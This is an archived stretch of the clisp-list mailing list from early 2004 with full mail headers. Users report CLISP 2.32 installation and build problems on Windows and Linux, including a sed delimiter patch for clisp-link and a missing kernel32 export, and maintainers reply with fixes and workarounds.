jcorneli@math.utexas.edu Fri Feb 27 10:37:58 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Awms2-0003JS-Cb for clisp-list@lists.sourceforge.net; Fri, 27 Feb 2004 10:37:58 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Awmhv-00061E-HW for clisp-list@lists.sourceforge.net; Fri, 27 Feb 2004 10:27:31 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i1RIRU124243; Fri, 27 Feb 2004 12:27:30 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1Awmhu-0006gQ-00; Fri, 27 Feb 2004 12:27:30 -0600 To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Fri, 27 Feb 2004 11:39:33 -0500) X-all-your-base-are-belong-to-us: You are on the way to destruction. References: Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: loading and compiling the Knowledge Machine Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 27 10:38:06 2004 X-Original-Date: Fri, 27 Feb 2004 12:27:30 -0600 I just commented the containing function out & sent that as a patch -- I will send the comma now. (Apparently some other lisp(s) don't complain.) Thanks for your informative help. > ~a~60vT~a actually, this is broken. From qcorp@earthlink.net Sat Feb 28 16:42:52 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AxF2i-0007W3-KO for clisp-list@lists.sourceforge.net; Sat, 28 Feb 2004 16:42:52 -0800 Received: from conure.mail.pas.earthlink.net ([207.217.120.54]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AxEc0-0003Cd-FT for clisp-list@lists.sourceforge.net; Sat, 28 Feb 2004 16:15:16 -0800 Received: from grover.psp.pas.earthlink.net ([207.217.78.249]) by conure.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 1AxErr-000236-00 for clisp-list@lists.sourceforge.net; Sat, 28 Feb 2004 16:31:39 -0800 Message-ID: <751259.1078014699651.JavaMail.root@grover.psp.pas.earthlink.net> From: William Brown Reply-To: William Brown To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: Earthlink Zoo Mail 1.0 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp not installing on XP, links broken Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Feb 28 16:43:06 2004 X-Original-Date: Sat, 28 Feb 2004 16:31:28 -0800 (GMT-08:00) Thank you for your speedy reply. I found the web site below (the new install.bat file) but nothing on the site downloads or links. Hope the problem is temporary. I'll keep trying. William Brown, Ph.D. > > I have downloaded Clist 2.32 win 32 onto my HP Pavilion N5425 laptop > using Windows XP. However, the program will not install by clicking > on the install.bat file nor by using Run on the Start menu. please try instead. > Change what strings in src/config.lisp? *editor*, *load-paths*, *clhs-root-default* and others as you see fit. > Change them to what? to whatever better reflects your environment. > There is only one lisp.exe file and it has a long name > lisp.exe-0F44C2DE.pf. It will not start when clicked nor using RUN on > the Start menu. Also the lisp.exe file resides in > c:\windows\prefetch. you should have downloaded a zip file and un-zipped it into a directory, something like "c:\gnu\clisp-2.32\". if winzip or windows, in a miguided attempt to protect you from viruses, do not let you do that, you will need to download info-zip. (google for it) -- Sam Steingold (http://www.podval.org/~sds) running w2k There are two ways to write error-free programs; only the third one works. From Haunschmidt@gmx.net Sat Feb 28 20:55:01 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AxIyj-00013p-F5 for clisp-list@lists.sourceforge.net; Sat, 28 Feb 2004 20:55:01 -0800 Received: from mail.gmx.net ([213.165.64.20]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1AxInm-0004oS-Dr for clisp-list@lists.sourceforge.net; Sat, 28 Feb 2004 20:43:42 -0800 Received: (qmail 12158 invoked by uid 65534); 29 Feb 2004 04:43:35 -0000 Received: from linzu2-212-11.utaonline.at (EHLO eos.local) (212.152.212.11) by mail.gmx.net (mp010) with SMTP; 29 Feb 2004 05:43:35 +0100 X-Authenticated: #9241089 From: Haunschmidt@gmx.net To: clisp-list@lists.sourceforge.net Message-Id: <20040229054649.708dd64e.Haunschmidt@gmx.net> X-Mailer: Sylpheed version 0.9.6 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] clisp-2.32 Installation Problem (clisp-link: sed error) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Feb 28 20:56:01 2004 X-Original-Date: Sun, 29 Feb 2004 05:46:49 +0100 Dear CLISP developers, I tried to install clisp-2.32 with mit-clx on my Linux box: SuSE Linux 7.0 (i386), Kernel 2.2.16, gcc 2.95.2, GNU bash 2.04, GNU sed version 3.02. Doing a 'make' in the 'src' directory failed: ... ... ;; Loaded file /opt2/ah/src/lang/lisp/clisp/clisp-2.32/src/clx/mit-clx/trace.fas 2297280 ; 574320 sed: -e expression #1, char 122: Unknown option to 's' make: *** [full] Error 1 The reason was a 'sed' syntax error in the file 'clisp-link' (made visible by enabling the 'set -x' in the file ). The substitute command uses a comma ',' as delimiter for the old and new strings. After shell expansion of $LIBS the new string also contained commas, so sed's substitute command got confused, seeing too much delimiters... Changing the delimiter to ':' fixed the problem, I could compile the whole thing! Here a diff -u between the original and the patched 'clisp-link' file: --8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8<-- --- clisp-link-orig Sun Feb 29 04:37:34 2004 +++ clisp-link-new Sun Feb 29 04:38:04 2004 @@ -284,8 +284,8 @@ echo "LIBS: before: "$LIBS LIBS=`echo $LIBS | sed s/','/'\\\\,'/g` echo "LIBS: after: "$LIBS - # Done. sed -e "s,^LIBS=.*\$,LIBS='${LIBS}'," -e "s,^FILES=.*\$,FILES='${FILES}'," < "$sourcedir"/ma kevars > "$destinationdir"/makevars + # Done. trap '' 1 2 15 ;; @@ -423,7 +423,7 @@ fi # Generate new makevars LIBS=`echo $LIBS | sed s/','/'\\,'/g` - sed -e "s,^LIBS=.*\$,LIBS='${LIBS}'," -e "s,^FILES=.*\$,FILES='${FILES}'," < "$sourcedir"/ makevars > "$destinationdir"/makevars + sed -e "s:^LIBS=.*\$:LIBS='${LIBS}':" -e "s,^FILES=.*\$,FILES='${FILES}'," < "$sourcedir"/ makevars > "$destinationdir"/makevars fi # Done. trap '' 1 2 15 --8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8<-- Just in case someone runs into the same problem... Thank you for supplying the world with a nice lisp version, I like CLISP very much, yet I'm still a lisp greenhorn... Greetings from Austria Andreas Haunschmidt mail: Haunschmidt@gmx.net P.S.: Sorry for that lengthy description of replacing ',' by ':' in a line :) From toolsnet@cy.net Sun Feb 29 04:22:52 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AxPy8-0002Ez-Ai for clisp-list@lists.sourceforge.net; Sun, 29 Feb 2004 04:22:52 -0800 Received: from mail-gw.logos.cy.net ([194.30.128.35] helo=ithaca.logos.cy.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AxPmz-0003Yi-PS for clisp-list@lists.sourceforge.net; Sun, 29 Feb 2004 04:11:22 -0800 Received: from myria (ppp-nic144.logos.cy.net [194.30.135.152]) by ithaca.logos.cy.net (Switch-2.0.1/Switch-2.0.1) with SMTP id i1TC4wC03124 for ; Sun, 29 Feb 2004 14:04:58 +0200 (EET) From: "Pambos Koushiappis" To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-7" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Importance: Normal X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.2 DEAR_SOMETHING BODY: Contains 'Dear (something)' Subject: [clisp-list] (no subject) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 29 04:23:09 2004 X-Original-Date: Sun, 29 Feb 2004 14:04:14 +0200 Dear Sir/Madam, I have installed clisp-2,32 and when I unzip it I go to folder full and select lisp.exe. There is a starting prigram error however, missing export KERNEL32.DLL:CreateHardLinkA . In the README file it says to change the strings in the src/config.lisp. What will the new string be and how do I change the one already there? Do I just erase those or do I type at the end? Thank you before hand, Please answer as soon as possible. From ampy@ich.dvo.ru Sun Feb 29 04:53:41 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AxQRx-0001xa-QS for clisp-list@lists.sourceforge.net; Sun, 29 Feb 2004 04:53:41 -0800 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AxQGo-0001PR-By for clisp-list@lists.sourceforge.net; Sun, 29 Feb 2004 04:42:10 -0800 Received: from ppp168-AS-5.vtc.ru (ppp168-AS-5.vtc.ru [212.16.207.168]) by vtc.ru (8.12.11/8.12.11) with ESMTP id i1TCfVVQ000756; Sun, 29 Feb 2004 22:41:47 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <13849659716.20040229224501@ich.dvo.ru> To: "Pambos Koushiappis" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (no subject) In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 29 04:54:06 2004 X-Original-Date: Sun, 29 Feb 2004 22:45:01 +1000 > I have installed clisp-2,32 and when I unzip it I go to folder full and > select lisp.exe. > There is a starting prigram error however, missing export > KERNEL32.DLL:CreateHardLinkA . > In the README file it says to change the strings in the src/config.lisp. > What will the new string be and how do I change the one already there? Do I > just erase those or > do I type at the end? It is just about your favourite editor, internet browser and such noncritical settings. More important is that you should supply a memory image (usually lispinit.mem) through command line option '-M'. So it's best of all to create a batch file starting lisp with necessary options. Full version do not work (yet) on windows95,98,NT4. -- Best regards, Arseny From sds@gnu.org Sun Feb 29 09:32:11 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AxUnT-0000di-1j for clisp-list@lists.sourceforge.net; Sun, 29 Feb 2004 09:32:11 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AxUcD-0003UU-Bh for clisp-list@lists.sourceforge.net; Sun, 29 Feb 2004 09:20:33 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1AxUcB-0004tC-00; Sun, 29 Feb 2004 12:20:31 -0500 To: clisp-list@lists.sourceforge.net, Haunschmidt@gmx.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20040229054649.708dd64e.Haunschmidt@gmx.net> (Haunschmidt@gmx.net's message of "Sun, 29 Feb 2004 05:46:49 +0100") References: <20040229054649.708dd64e.Haunschmidt@gmx.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Haunschmidt@gmx.net Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp-2.32 Installation Problem (clisp-link: sed error) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 29 09:33:01 2004 X-Original-Date: Sun, 29 Feb 2004 12:20:29 -0500 > * [2004-02-29 05:46:49 +0100]: > > sed: -e expression #1, char 122: Unknown option to 's' I believe this has been fixed in the CVS. -- Sam Steingold (http://www.podval.org/~sds) running w2k I'd give my right arm to be ambidextrous. From don-temp298413@isis.cs3-inc.com Sun Feb 29 20:19:14 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Axetd-0001F4-Pm for clisp-list@lists.sourceforge.net; Sun, 29 Feb 2004 20:19:13 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Axei7-0003cW-KS for clisp-list@lists.sourceforge.net; Sun, 29 Feb 2004 20:07:19 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i21452726838 for clisp-list@lists.sourceforge.net; Sun, 29 Feb 2004 20:05:02 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-temp298413 using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-temp298413@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16450.46702.42329.280619@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers Subject: [clisp-list] problem running 2.32 windows distribution Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 29 20:20:07 2004 X-Original-Date: Sun, 29 Feb 2004 20:05:02 -0800 I get an error window saying (not promising the right case... The lisp.exe file is linked to missing export kernel32.dll... Anyone know what I should do about it? From sds@gnu.org Sun Feb 29 20:42:14 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AxfFu-0006DI-Oa for clisp-list@lists.sourceforge.net; Sun, 29 Feb 2004 20:42:14 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AxenX-0007qP-A2 for clisp-list@lists.sourceforge.net; Sun, 29 Feb 2004 20:12:55 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1Axf4L-0000jp-00; Sun, 29 Feb 2004 23:30:17 -0500 To: clisp-list@lists.sourceforge.net, don-temp298413@isis.cs3-inc.com (Don Cohen) Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16450.46702.42329.280619@isis.cs3-inc.com> (Don Cohen's message of "Sun, 29 Feb 2004 20:05:02 -0800") References: <16450.46702.42329.280619@isis.cs3-inc.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, don-temp298413@isis.cs3-inc.com (Don Cohen) Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: problem running 2.32 windows distribution Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 29 20:43:01 2004 X-Original-Date: Sun, 29 Feb 2004 23:30:16 -0500 > * Don Cohen [2004-02-29 20:05:02 -0800]: > > I get an error window saying (not promising the right case... > The lisp.exe file is linked to missing export kernel32.dll... > Anyone know what I should do about it? upgrade to w2k or stick with the base linking set. Arseny is working on this - at least he volunteered. -- Sam Steingold (http://www.podval.org/~sds) running w2k I don't like cats! -- Come on, you just don't know how to cook them! From ampy@ich.dvo.ru Sun Feb 29 20:44:34 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AxfI9-0006VO-Sv; Sun, 29 Feb 2004 20:44:33 -0800 Received: from chemi.ich.dvo.ru ([62.76.7.28]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1Axf6T-00088U-4t; Sun, 29 Feb 2004 20:32:30 -0800 Received: from EP-ZH018903 ([192.168.8.116]) by chemi.ich.dvo.ru (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id i214VwaS004157; Mon, 1 Mar 2004 14:31:58 +1000 From: Arseny Slobodjuk X-Mailer: The Bat! (v1.60q) Reply-To: Arseny Slobodjuk Organization: ICH X-Priority: 3 (Normal) Message-ID: <10818787031.20040301143532@ich.dvo.ru> To: clisp-list-admin@lists.sourceforge.net, don-temp298413@isis.cs3-inc.com (Don Cohen) CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problem running 2.32 windows distribution In-Reply-To: <16450.46702.42329.280619@isis.cs3-inc.com> References: <16450.46702.42329.280619@isis.cs3-inc.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 29 20:45:01 2004 X-Original-Date: Mon, 1 Mar 2004 14:35:32 +1000 DC> I get an error window saying (not promising the right case... DC> The lisp.exe file is linked to missing export kernel32.dll... DC> Anyone know what I should do about it? Move to linux ? Or use the 'base' version. Well, syscalls module is statically linked to CreateHardlinkA, so there's no means to run it on win95/98/nt4(/me?). Syscalls module is the part of full version. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From don-temp298413@isis.cs3-inc.com Sun Feb 29 20:57:51 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AxfV0-0007of-QV for clisp-list@lists.sourceforge.net; Sun, 29 Feb 2004 20:57:50 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AxfJT-0001un-Mi for clisp-list@lists.sourceforge.net; Sun, 29 Feb 2004 20:45:55 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i214hUp27086; Sun, 29 Feb 2004 20:43:30 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-temp298413 using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-temp298413@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16450.49009.892409.906009@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net, Arseny Slobodjuk In-Reply-To: References: <16450.46702.42329.280619@isis.cs3-inc.com> <10818787031.20040301143532@ich.dvo.ru> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers Subject: [clisp-list] Re: problem running 2.32 windows distribution Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 29 20:58:02 2004 X-Original-Date: Sun, 29 Feb 2004 20:43:29 -0800 > upgrade to w2k or stick with the base linking set. Ah, is that all. I had the impression there was no longer any difference between base and full. Since I'm evidently wrong, what is the difference? Hmm, when I run base and try to load install.lisp I get the error that there is no ldap package. > Move to linux ? This is so someone else can run my programs. > Well, syscalls module is statically linked to CreateHardlinkA, > so there's no means to run it on win95/98/nt4(/me?). Syscalls module > is the part of full version. Yes, this was on ME. From jcorneli@math.utexas.edu Sun Feb 29 23:39:44 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Axi1g-0003hz-3i for clisp-list@lists.sourceforge.net; Sun, 29 Feb 2004 23:39:44 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Axhq4-0000Zn-SH for clisp-list@lists.sourceforge.net; Sun, 29 Feb 2004 23:27:44 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i217Ri104091; Mon, 1 Mar 2004 01:27:44 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1Axhq4-0002bf-00; Mon, 01 Mar 2004 01:27:44 -0600 To: clisp-list@lists.sourceforge.net X-all-your-base-are-belong-to-us: You are on the way to destruction. Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] clisp-2.32 vs. asdf.lisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 29 23:40:03 2004 X-Original-Date: Mon, 01 Mar 2004 01:27:44 -0600 I had asdf.lisp from cclan working with clisp-2.29, but now [~]% clisp clisp STACK depth: 16367 i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2003 ;; Loading file /Users/arided/.clisprc ... ;; Loading file /usr/local/src/clocc/src/port/ext.lisp ... ;; Loaded file /usr/local/src/clocc/src/port/ext.lisp ;; Loading file /usr/local/src/clocc/src/port/gray.lisp ... ;; Loaded file /usr/local/src/clocc/src/port/gray.lisp ;; Loading file /usr/local/src/clocc/src/port/path.lisp ... ;; Loaded file /usr/local/src/clocc/src/port/path.lisp ;; Loading file /usr/local/src/clocc/src/port/proc.lisp ... ;; Loaded file /usr/local/src/clocc/src/port/proc.lisp ;; Loading file /usr/local/src/clocc/src/port/shell.lisp ... ;; Loaded file /usr/local/src/clocc/src/port/shell.lisp ;; Loading file /usr/local/src/clocc/src/port/sys.lisp ... ;; Loaded file /usr/local/src/clocc/src/port/sys.lisp ;; Loading file /usr/local/src/asdf/asdf.lisp ... *** - Error: ~:@> not implemented Current point in control string: ~@ | From bruno@clisp.org Mon Mar 01 03:27:19 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AxlZu-0004qn-Tt for clisp-list@lists.sourceforge.net; Mon, 01 Mar 2004 03:27:18 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Axl78-0006td-DB for clisp-list@lists.sourceforge.net; Mon, 01 Mar 2004 02:57:34 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i21BFBCS025334; Mon, 1 Mar 2004 12:15:11 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id i21BFApg013160; Mon, 1 Mar 2004 12:15:10 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 589D73B3E8; Mon, 1 Mar 2004 11:10:36 +0000 (UTC) From: Bruno Haible To: Russell McManus User-Agent: KMail/1.5 Cc: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403011210.34877.bruno@clisp.org> 